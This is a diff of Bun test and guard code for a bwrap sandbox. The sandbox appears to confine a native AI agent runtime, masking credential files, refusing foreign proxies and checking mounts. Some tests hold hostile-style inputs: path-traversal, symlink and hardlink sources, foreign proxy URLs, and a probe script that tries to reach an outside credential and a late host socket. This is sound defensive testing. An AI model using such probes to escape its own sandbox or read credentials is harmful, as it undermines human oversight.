changed");selected.push(pid); } if(selected.length!==1)throw Error(selected.length===0?"native fixture RTK payload missing":"native fixture RTK payload ambiguous"); @@ -999,7 +999,7 @@ export function recordNativeGuardChild(child: { pid: number; exited: Promise{ + Object.defineProperty(child,"kill",{configurable:true,writable:true,value:(signal?:NodeJS.Signals|number)=>{ const terminating=signal===undefined||["SIGTERM","SIGKILL","SIGINT",15,9,2].includes(signal); if(terminating)parentTerminatedBootstraps.add(child); try{return kill(signal);}catch(error){if(terminating)parentTerminatedBootstraps.delete(child);throw error;} @@ -1114,10 +1114,10 @@ function stageWorkerFixtureBinds(argv: string[], bwrap: number, route: ScriptedA try{resolver=source===realpathSync("/etc/resolv.conf")&&lstatSync(source).isFile();}catch{if(resolve(argv[i+2]!)==="/etc/resolv.conf")refuse("native resolver source is unavailable");} if(resolver&&!["--ro-bind","--ro-bind-try"].includes(argv[i]!))refuse("native resolver bind must be read-only"); } - const explicit = resolver ? Buffer.from("nameserver 127.0.0.1\noptions attempts:1 timeout:1\n") : route.fixtureFiles.get(source); + const explicit = resolver ? {bytes:Buffer.from("nameserver 127.0.0.1\noptions attempts:1 timeout:1\n"),mode:0o444} : route.fixtureFiles.get(source); if (explicit) { mkdirSync(staging, {recursive:true,mode:0o755});chmodSync(staging,0o755); - const copy=join(staging,String(staged++));writeFileSync(copy,explicit,{mode:0o444});chmodSync(copy,0o444); + const copy=join(staging,String(staged++));writeFileSync(copy,explicit.bytes,{mode:explicit.mode});chmodSync(copy,explicit.mode); argv[i]="--ro-bind";argv[i+1]=copy; } else if (!workerSourceAllowed(source, route, guardRoot)) { const info=lstatSync(source); @@ -1292,7 +1292,7 @@ export function nativeWorkerBoundary(env: Record): { workerArgv.splice(separator, 0, ...systemMounts(), ...testRuntimeMounts(), ...tools.mounts, "--ro-bind", process.execPath, process.execPath, "--ro-bind", compileSocketPolicy(), compileSocketPolicy(), "--ro-bind", bridge.directory, "/tmp/native-relay", - "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group",...nativeFixtureManagedSettingsMounts(bridge.directory), + "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group",...nativeFixtureFileMounts(bridge.directory), ...Object.entries(pinned).flatMap(([key, value]) => ["--setenv", key, value])); const keeper=workerKeeper(workerArgv,bwrap); try { stageWorkerFixtureBinds(workerArgv,bwrap,route,bridge.directory,keeper); } @@ -1318,8 +1318,7 @@ export function nativeWorkerBoundary(env: Record): { const { verifiedWorkerIdentity } = createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-launcher.ts") as typeof import("../packages/ui-sdk/src/server/worker-launcher"); const identity = launch.brainPath && verifiedWorkerIdentity(launch.brainPath); if (!identity || identity.workerUid === process.getuid?.()) refuse("native worker audit lacks a verified separate UID"); - audited = auditNativeLaunch([bwrapExecutable, "--die-with-parent", "--unshare-user", "--unshare-pid", "--unshare-net", "--cap-drop", "ALL", - "--bind", "/", "/", "--proc", "/proc", "--tmpfs", "AUDIT_STORAGE", "--", ...payload], expected, bridge.dispose, identity.workerUid); + audited = auditNativeLaunch(nativeSeparateUidAuditCommand(bwrapExecutable,payload,"AUDIT_STORAGE"), expected, bridge.dispose, identity.workerUid); const log = audited.argv[audited.argv.indexOf("-o") + 1]!, directory = dirname(log); audited.argv[audited.argv.indexOf("AUDIT_STORAGE")] = directory; // Only the outer tracer sees this mount; the native process sees tmpfs. diff --git a/tests/native-device-diagnostics.test.ts b/tests/native-device-diagnostics.test.ts index a98e0b7299..158b36b2ac 100644 --- a/tests/native-device-diagnostics.test.ts +++ b/tests/native-device-diagnostics.test.ts @@ -7,12 +7,13 @@ test("device metadata is collected by the harmless payload inside its actual vie const root=mkdtempSync(join(tmpdir(),"odysseus-device-metadata-")); try{ const log=join(root,"trace"),strace=Bun.which("strace");expect(strace,"strace required for device metadata proof").toBeTruthy(); - const child=Bun.spawn([strace!,"-f","-qq","-e","trace=newfstatat","-e","abbrev=!newfstatat,statx","-o",log,"--","bwrap","--unshare-user","--uid","21002","--gid","21002","--unshare-net","--ro-bind","/","/","--dev","/dev","--",...nativeDeviceMetadataCommand(["python3","-I","-S","-c",'import os; fd=os.open("/dev/urandom",os.O_RDONLY);os.close(fd)'])],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe"}); + const child=Bun.spawn([strace!,"-f","-qq","-e","trace=newfstatat,statfs","-e","abbrev=!newfstatat,statx","-o",log,"--","bwrap","--unshare-user","--uid","21002","--gid","21002","--unshare-net","--ro-bind","/","/","--dev","/dev","--",...nativeDeviceMetadataCommand(["python3","-I","-S","-c",'import os; fd=os.open("/dev/urandom",os.O_RDONLY);os.close(fd)'])],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe"}); const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); expect(code,"DEVICE_PROBE_PRESERVES_PATH_SEARCH "+err).toBe(0);expect(out).toBe(""); const records=nativeDeviceMetadata(readFileSync(log,"utf8")); expect(records.map(value=>value.device),"ACTUAL_CHILD_DEVICE_METADATA").toEqual(["dev","urandom"]); expect(records.find(value=>value.device==="dev")?.uid).toBe(21002); + expect(records.find(value=>value.device==="urandom"),"CHILD_DEVICE_MOUNT_FLAGS_ARE_OBSERVED").toMatchObject({nodev:false,nosuid:true,ro:false}); for(const value of records){expect(value.mode).toBeGreaterThan(0);expect(Number.isSafeInteger(value.uid)).toBe(true);expect(Number.isSafeInteger(value.gid)).toBe(true);} }finally{rmSync(root,{recursive:true,force:true});} }); @@ -34,9 +35,27 @@ test("real worker diagnostic plan stats devices before the trusted Bun wrapper s try{ const entry=join(import.meta.dir,"../packages/ui-sdk/src/server/egress-worker-entry.ts"),payload=["/usr/bin/true"],log=join(root,"trace"); const command=nativeDiagnosticWorkerPayload(nativeWorkerPayloadCommand([process.execPath,entry,...payload],payload,args=>args),true); - const child=Bun.spawn([Bun.which("strace")!,"-f","-qq","-e","trace=newfstatat,execve","-e","abbrev=!newfstatat,statx","-o",log,"--","bwrap","--unshare-user","--uid","21002","--gid","21002","--unshare-net","--ro-bind","/","/","--tmpfs","/run","--dir","/run/brain-egress","--ro-bind",socket,"/run/brain-egress/proxy.sock","--dev","/dev","--",...command],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe"}); + const child=Bun.spawn([Bun.which("strace")!,"-f","-qq","-e","trace=newfstatat,statfs,execve","-e","abbrev=!newfstatat,statx","-o",log,"--","bwrap","--unshare-user","--uid","21002","--gid","21002","--unshare-net","--ro-bind","/","/","--tmpfs","/run","--dir","/run/brain-egress","--ro-bind",socket,"/run/brain-egress/proxy.sock","--dev","/dev","--",...command],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe"}); const [code,err]=await Promise.all([child.exited,new Response(child.stderr).text()]);expect(code,err).toBe(0); const trace=readFileSync(log,"utf8"),metadata=nativeDeviceMetadata(trace);expect(metadata.map(v=>v.device),"DEVICE_STATS_PRECEDE_WRAPPER").toEqual(["dev","urandom"]); expect(trace.indexOf('"/dev/urandom", {')).toBeLessThan(trace.indexOf('execve('+JSON.stringify(process.execPath))); }finally{server.stop();rmSync(root,{recursive:true,force:true});} }); + +test("separate UID audit view preserves production device mounts and permits urandom",async()=>{ + const {nativeSeparateUidAuditCommand,nativeProductDeviceMounts}=await import("../scripts/native-device-diagnostics"); + const root=mkdtempSync(join(tmpdir(),"odysseus-audit-devices-")); + try{ + const code='import os,json\np="/dev/urandom"\nf=os.statvfs(p).f_flag\nr={"nodev":bool(f&os.ST_NODEV),"nosuid":bool(f&os.ST_NOSUID),"ro":bool(f&os.ST_RDONLY)}\ntry: fd=os.open(p,os.O_RDONLY);os.close(fd);r["open"]="ok"\nexcept OSError as e:r["open"]=e.errno\nprint(json.dumps(r))'; + const command=nativeSeparateUidAuditCommand("bwrap",["/usr/bin/python3","-I","-S","-c",code],root); + const child=Bun.spawn(command,{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe"}); + const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(exit,err).toBe(0);expect(JSON.parse(out),"AUDIT_VIEW_DEVICE_FLAGS_ALLOW_URANDOM").toEqual({nodev:false,nosuid:true,ro:false,open:"ok"}); + expect(command.slice(command.indexOf("--dev-bind"),command.indexOf("--tmpfs")),"DEVICE_LIST_DERIVED_FROM_PRODUCTION_KEEPER").toEqual(nativeProductDeviceMounts()); + + }finally{rmSync(root,{recursive:true,force:true});} +}); +test("device mount metadata retains only fixed kernel flag booleans",()=>{ + const trace='9 statfs("/dev/urandom", {f_type=TMPFS_MAGIC, f_flags=ST_VALID|ST_NOSUID|ST_NODEV|ST_RDONLY|ST_RELATIME}) = 0\n9 statfs("/home/private-owner/secret", {f_flags=ST_NODEV}) = 0'; + expect(nativeDeviceMetadata(trace),"FIXED_DEVICE_MOUNT_FLAGS_ONLY").toEqual([{device:"urandom",nodev:true,nosuid:true,ro:true}]); +}); diff --git a/tests/native-direct-transport.test.ts b/tests/native-direct-transport.test.ts index f8d0c1aca5..c50f1258e3 100644 --- a/tests/native-direct-transport.test.ts +++ b/tests/native-direct-transport.test.ts @@ -26,3 +26,23 @@ test("direct pinned transport delivers native headers unchanged through private expect(exit,"DIRECT_HEADERS_UNCHANGED "+err).toBe(0);expect(out).toContain("DIRECT_HEADERS_UNCHANGED");expect(seen).toEqual([{key:"odysseus-helper-key",auth:"Bearer odysseus-oauth",path:"/v1/messages"}]); }finally{tunnel.dispose();leave();recorder.stop(true);rmSync(root,{recursive:true,force:true});} }); + +test("scripted tunnel accepts default Bun localhost and explicit IPv6 listener origins only",async()=>{ + for(const hostname of [undefined,"::1"]){ + const root=mkdtempSync(join(tmpdir(),"odysseus-loopback-origin-")); + const server=Bun.serve({...(hostname?{hostname}:{}),port:0,fetch:()=>new Response("Ithaca")}); + const leave=nativeScriptedService(server.url.origin,{fixtureRoots:[root]}); + const tunnel=startNativeTurnProxyTunnel(server.url.origin,root); + try{ + const response=await fetch("http://localhost/v1/messages",{unix:tunnel.socket}); + expect(await response.text(),"REGISTERED_DEFAULT_AND_V6_LISTENER_REACHED").toBe("Ithaca"); + }finally{tunnel.dispose();leave();server.stop(true);rmSync(root,{recursive:true,force:true});} + } +}); + +test("direct transport shim refuses noncanonical or foreign forwarder environments",async()=>{ + for(const proxy of ["http://127.0.0.2:1234","http://0.0.0.0:1234","http://[::1]:1234","https://127.0.0.1:1234","http://user@127.0.0.1:1234","http://127.0.0.1:1234/path","http://127.0.0.1:1234?query","http://127.0.0.1:1234#hash"]){ + const child=Bun.spawn(nativeDirectTransportCommand(["/usr/bin/true"]),{env:{PATH:"/usr/bin:/bin",HTTP_PROXY:proxy},stdout:"pipe",stderr:"pipe"}); + const [exit,err]=await Promise.all([child.exited,new Response(child.stderr).text()]);expect(exit,"DIRECT_SHIM_REJECTS_FOREIGN_FORWARDER "+proxy+err).not.toBe(0); + } +}); diff --git a/tests/native-fixture-files.test.ts b/tests/native-fixture-files.test.ts new file mode 100644 index 0000000000..d054a944a5 --- /dev/null +++ b/tests/native-fixture-files.test.ts @@ -0,0 +1,38 @@ +import {expect,test} from "bun:test"; +import {join} from "node:path"; +import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; +const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"); + +test("captured external fixture files execute and expose controls without sibling login files",async()=>{ + const {mkdirSync,writeFileSync,mkdtempSync,rmSync}=await import("node:fs"); + const {nativeScriptedService,nativeFixtureFileMounts}=await import("../scripts/test-native-guard"); + const root=mkdtempSync("/tmp/odysseus-captured-external-"),config=join(root,"home/.claude"),managed=join(root,"managed-settings.json"); + mkdirSync(config,{recursive:true});const wrapper=join(root,"worker-wrapper.sh"),visible=join(config,"visible.json"); + writeFileSync(wrapper,"#!/bin/sh\nprintf Ithaca",{mode:0o755});writeFileSync(visible,"{}");writeFileSync(join(config,".credentials.json"),"odysseus-synthetic-login");writeFileSync(join(config,"undeclared.json"),"undeclared");writeFileSync(managed,JSON.stringify({env:{ANTHROPIC_BASE_URL:"https://ithaca.invalid"}})); + const leave=nativeScriptedService("http://127.0.0.1:9",{fixtureRoots:[root],fixtureFiles:[wrapper,visible,managed]}); + const stage=mkdtempSync("/tmp/odysseus-captured-stage-"); + try{ + const mounts=nativeFixtureFileMounts(stage); + const python='import os,subprocess,json,errno\nw='+JSON.stringify(wrapper)+'\nc='+JSON.stringify(config)+'\np='+JSON.stringify(managed)+'\nassert os.path.isfile(w),"DECLARED_WRAPPER_EXECUTES"\nassert subprocess.check_output([w])==b"Ithaca","DECLARED_WRAPPER_EXECUTES"\nassert open(c+"/visible.json").read()=="{}","DECLARED_CONTROL_VISIBLE"\nassert not os.path.exists(c+"/.credentials.json"),"UNDECLARED_LOGIN_STAYS_MASKED"\nassert not os.path.exists(c+"/undeclared.json"),"UNDECLARED_SIBLING_STAYS_MASKED"\nassert json.load(open(p))["env"]["ANTHROPIC_BASE_URL"]=="https://ithaca.invalid","MANAGED_CUSTOM_REFUSAL_INPUT_VISIBLE"\nfor path in [w,c+"/visible.json",p]:\n try: open(path,"w")\n except OSError as e: assert e.errno==errno.EROFS\n else: raise AssertionError("CAPTURED_FILE_READONLY")\nprint("EXTERNAL_FIXTURE_EXACT_FILES_ONLY")'; + const child=spawnGuardFixture(["bwrap","--unshare-user","--unshare-pid","--unshare-net","--ro-bind","/","/","--tmpfs","/tmp",...mounts,"--remount-ro","/tmp","--","/usr/bin/python3","-I","-S","-c",python],{env:{PATH:"/usr/bin:/bin"}}); + const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(exit,"EXTERNAL_FIXTURE_EXACT_FILES_ONLY "+err).toBe(0);expect(out).toContain("EXTERNAL_FIXTURE_EXACT_FILES_ONLY"); + }finally{leave();rmSync(stage,{recursive:true,force:true});rmSync(root,{recursive:true,force:true});} +}); + +for(const mode of ["outside","symlink","parent-symlink","dotdot","directory","hardlink","login"] as const)test(`captured fixture files refuse ${mode} sources`,async()=>{ + const code=`import {nativeFixtureDirectory,nativeScriptedService} from ${JSON.stringify(guard)}; + import {mkdtempSync,mkdirSync,writeFileSync,symlinkSync,linkSync,rmSync} from "node:fs"; + const root=nativeFixtureDirectory("odysseus-captured-negative-"),outside=mkdtempSync("/tmp/odysseus-other-root-"),mode=${JSON.stringify(mode)}; + writeFileSync(root+"/file","{}");writeFileSync(outside+"/file","{}");let source=root+"/file"; + if(mode==="outside")source=outside+"/file"; + if(mode==="symlink"){symlinkSync(source,root+"/alias");source=root+"/alias";} + if(mode==="parent-symlink"){symlinkSync(outside,root+"/alias");source=root+"/alias/file";} + if(mode==="dotdot")source=root+"/../"+outside.split("/").at(-1)+"/file"; + if(mode==="directory"){mkdirSync(root+"/dir");source=root+"/dir";} + if(mode==="hardlink"){linkSync(source,root+"/alias");source=root+"/alias";} + if(mode==="login"){source=root+"/.credentials.json";writeFileSync(source,"odysseus-synthetic-login");} + try{nativeScriptedService("http://127.0.0.1:9",{fixtureRoots:[root],fixtureFiles:[source]});}catch{}finally{rmSync(root,{recursive:true,force:true});rmSync(outside,{recursive:true,force:true});}`; + const child=spawnGuardFixture([process.execPath,"-e",code]);const [exit,out]=await Promise.all([child.exited,child.guardOutput()]); + expect(exit,"CAPTURED_FILE_"+mode.toUpperCase()+"_REFUSED").not.toBe(0);expect(out).toContain("fixture files require a canonical unlinked regular file under a declared root"); +}); diff --git a/tests/native-managed-settings.test.ts b/tests/native-managed-settings.test.ts index ca7d27a109..f8b4e4139f 100644 --- a/tests/native-managed-settings.test.ts +++ b/tests/native-managed-settings.test.ts @@ -1,27 +1,27 @@ import { expect, test } from "bun:test"; import { mkdirSync, writeFileSync, readFileSync, rmSync } from "node:fs"; import { join } from "node:path"; -import { nativeFixtureDirectory, nativeFixtureManagedSettingsMounts, nativeScriptedService } from "../scripts/test-native-guard"; +import { nativeFixtureDirectory, nativeFixtureFileMounts, nativeScriptedService } from "../scripts/test-native-guard"; import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"); const json=JSON.stringify({env:{ANTHROPIC_BASE_URL:"https://ithaca.invalid"}}); test("managed-custom keyless view retains only exact declared settings bytes read-only",()=>{ const root=nativeFixtureDirectory("odysseus-managed-settings-"),file=join(root,"managed.json"),stage=join(root,"stage");mkdirSync(stage);writeFileSync(file,json);writeFileSync(join(root,"undeclared.json"),"private fixture file"); - const leave=nativeScriptedService("http://127.0.0.1:9",{fixtureRoots:[root],managedSettingsFile:file}); + const leave=nativeScriptedService("http://127.0.0.1:9",{fixtureRoots:[root],fixtureFiles:[file]}); try { - writeFileSync(file,"{}");const mounts=nativeFixtureManagedSettingsMounts(stage); - const code='import os,json,errno\np="/etc/claude-code/managed-settings.json"\nassert os.path.exists(p),"MANAGED_CUSTOM_REFUSAL_INPUT_VISIBLE"\nassert open(p).read()=='+JSON.stringify(json)+'\nassert json.load(open(p))["env"]["ANTHROPIC_BASE_URL"]=="https://ithaca.invalid"\nassert not os.path.exists("/etc/claude-code/undeclared.json")\ntry: open(p,"w")\nexcept OSError as e: assert e.errno==errno.EROFS\nelse: raise AssertionError("settings writable")\nprint("MANAGED_CUSTOM_REFUSAL_INPUT_VISIBLE")'; - const child=Bun.spawnSync(["bwrap","--unshare-user","--unshare-pid","--unshare-net","--die-with-parent","--ro-bind","/usr","/usr","--symlink","usr/bin","/bin","--symlink","usr/lib","/lib","--symlink","usr/lib64","/lib64","--tmpfs","/etc","--dir","/etc/claude-code","--proc","/proc","--dev","/dev",...mounts,"--remount-ro","/etc","--","/usr/bin/python3","-I","-S","-c",code],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe"}); + writeFileSync(file,"{}");const mounts=nativeFixtureFileMounts(stage); + const code='import os,json,errno\np='+JSON.stringify(file)+'\nassert os.path.exists(p),"MANAGED_CUSTOM_REFUSAL_INPUT_VISIBLE"\nassert open(p).read()=='+JSON.stringify(json)+'\nassert json.load(open(p))["env"]["ANTHROPIC_BASE_URL"]=="https://ithaca.invalid"\nassert not os.path.exists('+JSON.stringify(join(root,'undeclared.json'))+')\ntry: open(p,"w")\nexcept OSError as e: assert e.errno==errno.EROFS\nelse: raise AssertionError("settings writable")\nprint("MANAGED_CUSTOM_REFUSAL_INPUT_VISIBLE")'; + const child=Bun.spawnSync(["bwrap","--unshare-user","--unshare-pid","--unshare-net","--die-with-parent","--ro-bind","/usr","/usr","--symlink","usr/bin","/bin","--symlink","usr/lib","/lib","--symlink","usr/lib64","/lib64","--tmpfs","/etc","--tmpfs",root,"--proc","/proc","--dev","/dev",...mounts,"--remount-ro","/etc","--","/usr/bin/python3","-I","-S","-c",code],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe"}); expect(child.exitCode,"MANAGED_CUSTOM_REFUSAL_INPUT_VISIBLE "+child.stderr.toString()).toBe(0);expect(child.stdout.toString()).toContain("MANAGED_CUSTOM_REFUSAL_INPUT_VISIBLE"); - expect(mounts[0]).toBe("--ro-bind");expect(mounts[2]).toBe("/etc/claude-code/managed-settings.json");expect(readFileSync(mounts[1]!,"utf8")).toBe(json); + expect(mounts[0]).toBe("--ro-bind");expect(mounts[2]).toBe(file);expect(readFileSync(mounts[1]!,"utf8")).toBe(json); }finally{leave();rmSync(root,{recursive:true,force:true});} }); test("undeclared managed settings do not add a worker mount",()=>{ const root=nativeFixtureDirectory("odysseus-managed-absent-");writeFileSync(join(root,"managed.json"),json); const leave=nativeScriptedService("http://127.0.0.1:9",{fixtureRoots:[root]}); - try{expect(nativeFixtureManagedSettingsMounts(root)).toEqual([]);}finally{leave();rmSync(root,{recursive:true,force:true});} + try{expect(nativeFixtureFileMounts(root)).toEqual([]);}finally{leave();rmSync(root,{recursive:true,force:true});} }); for(const mode of ["outside","symlink","parent-symlink","dotdot","hardlink"] as const)test(`managed settings refuse ${mode} registration`,async()=>{ @@ -38,7 +38,7 @@ for(const mode of ["outside","symlink","parent-symlink","dotdot","hardlink"] as else if(mode==="dotdot")file=root+"/../"+outside.split("/").pop()+"/managed.json"; else file=outside+"/managed.json"; if(mode!=="hardlink"&&statSync(file).nlink!==1)throw Error("NEGATIVE_CASE_MUST_NOT_BORROW_HARDLINK_REFUSAL"); - try{nativeScriptedService("http://127.0.0.1:9",{fixtureRoots:[root],managedSettingsFile:file});}catch{}finally{rmSync(root,{recursive:true,force:true});rmSync(outside,{recursive:true,force:true});} + try{nativeScriptedService("http://127.0.0.1:9",{fixtureRoots:[root],fixtureFiles:[file]});}catch{}finally{rmSync(root,{recursive:true,force:true});rmSync(outside,{recursive:true,force:true});} `],{env:{PATH:"/usr/bin:/bin"}}); - const [code,out]=await Promise.all([child.exited,child.guardOutput()]);expect(code,`MANAGED_SETTINGS_${mode.toUpperCase()}_MUST_REFUSE`).not.toBe(0);expect(out).toContain("managed settings require an unlinked fixture-created regular file");expect(out).toContain('"nativeLaunched":false'); + const [code,out]=await Promise.all([child.exited,child.guardOutput()]);expect(code,`MANAGED_SETTINGS_${mode.toUpperCase()}_MUST_REFUSE`).not.toBe(0);expect(out).toContain("fixture files require a canonical unlinked regular file under a declared root");expect(out).toContain('"nativeLaunched":false'); }); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index d524a31f1c..53822493fd 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -248,6 +248,7 @@ test("wrapper exec and auth inspection cannot fabricate native launch or injecte if(boundary.argv[0]!=="/synthetic/strace")throw Error("audit executable was not resolved"); const broker=boundary.argv.findIndex((arg,i)=>arg.endsWith("/native-connect")&&boundary.argv[i+1]==="--head"); if(broker<0||!boundary.argv.includes("--device")||!boundary.argv.includes("--inode")||boundary.argv[broker+10]!=="/tmp/native-relay/relay.sock")throw Error("kernel lifetime socket policy was omitted"); + if(boundary.argv.some(arg=>arg.includes("HTTP_PROXY")||arg.includes("nativeDirectTransportCommand")||arg.endsWith("/egress-worker-entry.ts")))throw Error("AUTH_STATUS_FULL_ARGV_HAS_NO_ROUTE_OVERRIDE"); const setup=boundary.argv.slice(0,boundary.argv.lastIndexOf("--")); for(let i=0;icommand==="strace"?"/synthetic/strace":which(command,options)); Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";const recorder=Bun.serve({port:0,fetch:()=>new Response("Ithaca")});registerScriptedService(recorder.url.origin); const key="sk-ant-api03-"+"k".repeat(95)+"AA",token="sk-ant-oat01-"+"o".repeat(95)+"AA",bearer="sk-ant-declared-"+"t".repeat(60); - const leave=nativeScriptedService("http://127.0.0.1:1"); + const leave=nativeScriptedService(recorder.url.origin); for(const creds of [{},{ANTHROPIC_API_KEY:key},{CLAUDE_CODE_OAUTH_TOKEN:token},{ANTHROPIC_API_KEY:key,CLAUDE_CODE_OAUTH_TOKEN:token},{ANTHROPIC_AUTH_TOKEN:bearer}]){ const boundary=nativeClaudeBoundary(${JSON.stringify(runtime)},[],{cwd:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},ANTHROPIC_BASE_URL:"http://127.0.0.1:1",ANTHROPIC_UNIX_SOCKET:"",...creds}}); + const entry=boundary.argv.findIndex(arg=>arg.endsWith("/egress-worker-entry.ts")); + if(entry<0||boundary.argv[entry+1]!=="--direct-loopback")throw Error("REAL_DIRECT_PLAN_TRUSTED_LOOPBACK_FORWARDER"); + const broker=boundary.argv.findIndex((arg,i)=>arg.endsWith("/native-connect")&&boundary.argv[i+1]==="--head"),payload=boundary.argv.indexOf("--",broker)+1; + if(boundary.argv[payload]!=="/usr/bin/python3"||!boundary.argv[payload+4]?.includes('os.environ["ANTHROPIC_BASE_URL"]=os.environ["HTTP_PROXY"]'))throw Error("REAL_DIRECT_PLAN_ROUTE_SHIM"); const injected={};for(let i=0;i{ Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; const managedRoot=nativeFixtureDirectory("odysseus-plan-managed-");writeFileSync(managedRoot+"/managed.json",'{"env":{"ANTHROPIC_BASE_URL":"https://ithaca.invalid"}}'); - nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[${JSON.stringify(scratch)}],managedSettingsFile:managedRoot+"/managed.json"}); + nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[${JSON.stringify(scratch)},managedRoot],fixtureFiles:[managedRoot+"/managed.json"]}); const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},PATH:"/usr/local/bin:/usr/bin:/bin"},argv:["bwrap",...${JSON.stringify(["/tmp","/home","/etc",ROOT])}.flatMap(path=>["--tmpfs",path]),"--remount-ro","/","--remount-ro","/etc","--",process.execPath,${JSON.stringify(join(ROOT,"packages/ui-sdk/src/server/egress-worker-entry.ts"))},"--direct-loopback",${JSON.stringify(runtime)}]})}); if(plan.native!==true)throw Error("ADMITTED_NATIVE_PLAN_CLASSIFIED"); const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv,bwrap=argv.indexOf("--",argv.indexOf("-o"))+1,split=argv.indexOf("--",bwrap); const mounts=argv.slice(bwrap+1,split);assertGuardMountOrder(mounts,["/","/etc"]); - if(!mounts.some((arg,i)=>arg==="--ro-bind"&&mounts[i+2]==="/etc/claude-code/managed-settings.json"))throw Error("DECLARED_MANAGED_SETTINGS_IN_WORKER_PLAN"); + if(!mounts.some((arg,i)=>arg==="--ro-bind"&&mounts[i+2]===managedRoot+"/managed.json"))throw Error("DECLARED_MANAGED_SETTINGS_IN_WORKER_PLAN"); if(!mounts.some((arg,i)=>arg==="--setenv"&&mounts[i+1]==="PATH"&&mounts[i+2]==="/usr/local/bin:/usr/bin:/bin"))throw Error("GUARD_PLAN_PRESERVES_READONLY_SYSTEM_PATH"); const payload=argv.slice(split+1);if(payload[1]!==${JSON.stringify(join(ROOT,"packages/ui-sdk/src/server/egress-worker-entry.ts"))}||payload[2]!=="--direct-loopback"||!payload[3]?.endsWith("/native-connect"))throw Error("PRODUCTION_TRANSPORT_OUTSIDE_PAYLOAD_FILTER"); if(!mounts.some((arg,i)=>arg==="--ro-bind"&&mounts[i+1]?.endsWith("/native-connect"))||!mounts.includes("/tmp/native-relay"))throw Error("guard input missing from plan"); @@ -666,10 +672,10 @@ test("registered same-origin Unix relays forward successfully", async () => { } finally { rmSync(scratch, { recursive: true, force: true }); } }); -test("all direct bind sources reject unowned sockets, including PATH, managed settings and late additions", async () => { +test("all direct bind sources reject unowned sockets, including PATH and late additions", async () => { const scratch = mkdtempSync(join(tmpdir(), "odysseus-mounted-socket-")); try { - for (const mode of ["home", "cwd", "late", "path", "managed"]) { + for (const mode of ["home", "cwd", "late", "path"]) { const result = await probe(`${imports} import {mkdirSync,writeFileSync} from "node:fs"; const spawnSync=Bun.spawnSync,which=Bun.which; @@ -684,7 +690,7 @@ test("all direct bind sources reject unowned sockets, including PATH, managed se let foreign,plan; if(${JSON.stringify(mode)}!=="late")foreign=Bun.serve({unix:socket,fetch:()=>new Response("foreign")}); const leave=registerScriptedService("http://127.0.0.1:1"); - try{plan=nativeClaudeBoundary(${JSON.stringify(runtime)},[],{cwd,env:{HOME:home,PATH:bin},managedSettings:managed}); + try{plan=nativeClaudeBoundary(${JSON.stringify(runtime)},[],{cwd,env:{HOME:home,PATH:bin}}); if(${JSON.stringify(mode)}==="late"){leave();foreign=Bun.serve({unix:socket,fetch:()=>new Response("late")});} plan.beforeLaunch(); }finally{foreign?.stop(true);if(plan){writeFileSync(plan.argv[plan.argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();}}`, scratch); @@ -763,14 +769,14 @@ test("hostile managed helper and native descendants cannot read an outside crede })); let requests = 0; const service = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch() { requests++; return new Response("Ithaca"); } }); - nativeScriptedService(service.url.origin); + nativeScriptedService(service.url.origin,{fixtureRoots:[managed],fixtureFiles:[join(managed,"managed-settings.json")]}); // Synthetic native reader exercises the OS boundary independently of SDK // settings precedence. The real installed runtime is covered by native // backend/provider-history cells under the same preload. const executable = join(brain, "odysseus-native-probe"); writeFileSync(executable, `#!/usr/bin/python3 import http.client,json,os,socket,subprocess,time -settings=json.load(open('/etc/claude-code/managed-settings.json')) +settings=json.load(open(${JSON.stringify(join(managed,'managed-settings.json'))})) helper=subprocess.run(settings['apiKeyHelper'],shell=True,capture_output=True) assert helper.returncode != 0 and not helper.stdout, 'outside credential escaped' assert os.environ.get('USE_BUILTIN_RIPGREP') == '0' @@ -797,9 +803,9 @@ else: raise RuntimeError('late host socket escaped') finally: late.close() -connection=http.client.HTTPConnection('localhost') -connection.sock=socket.socket(socket.AF_UNIX,socket.SOCK_STREAM) 